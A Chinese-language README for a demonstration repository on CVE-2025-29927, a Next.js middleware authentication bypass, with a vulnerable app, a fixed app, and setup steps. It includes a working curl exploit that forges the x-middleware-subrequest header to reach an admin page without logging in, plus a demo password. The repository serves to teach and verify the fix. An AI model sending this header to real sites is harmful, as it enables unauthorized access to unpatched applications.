本仓库演示了 Next.js 漏洞 CVE-2025-29927,该漏洞影响 Next.js 15.2.2 及更早版本。攻击者可以通过设置 x-middleware-subrequest 头来绕过中间件的身份验证检查。
这是一个 NX 单体仓库,包含两个 Next.js 应用:
在 Next.js 15.2.3 之前的版本中,中间件实现存在一个安全漏洞。中间件未正确验证 x-middleware-subrequest 头的来源,使得攻击者可以伪造该头并绕过基于中间件的身份验证检查。
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install
# Start the vulnerable app
npm run dev
存在漏洞的应用将在 http://localhost:3000 上运行。
# Navigate to the repository
cd nextjs-vulnerability
# Install dependencies for the fixed app
cd apps/fixed-app
npm install
# Start the fixed app
npm run dev
已修复的应用将在 http://localhost:3001 上运行。
你也可以使用 Docker 运行应用:
# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin
在存在漏洞的版本(15.2.2)中,通过添加 x-middleware-subrequest 头,你可以无需认证即可访问管理页面。
在已修复的版本(15.2.3)中,中间件会正确验证该头的来源,你仍会被重定向到登录页面。
演示目的,你可以使用以下凭据登录:
adminpassword123如果你在生产环境中使用 Next.js,请确保更新到 15.2.3 或更高版本以防范此漏洞。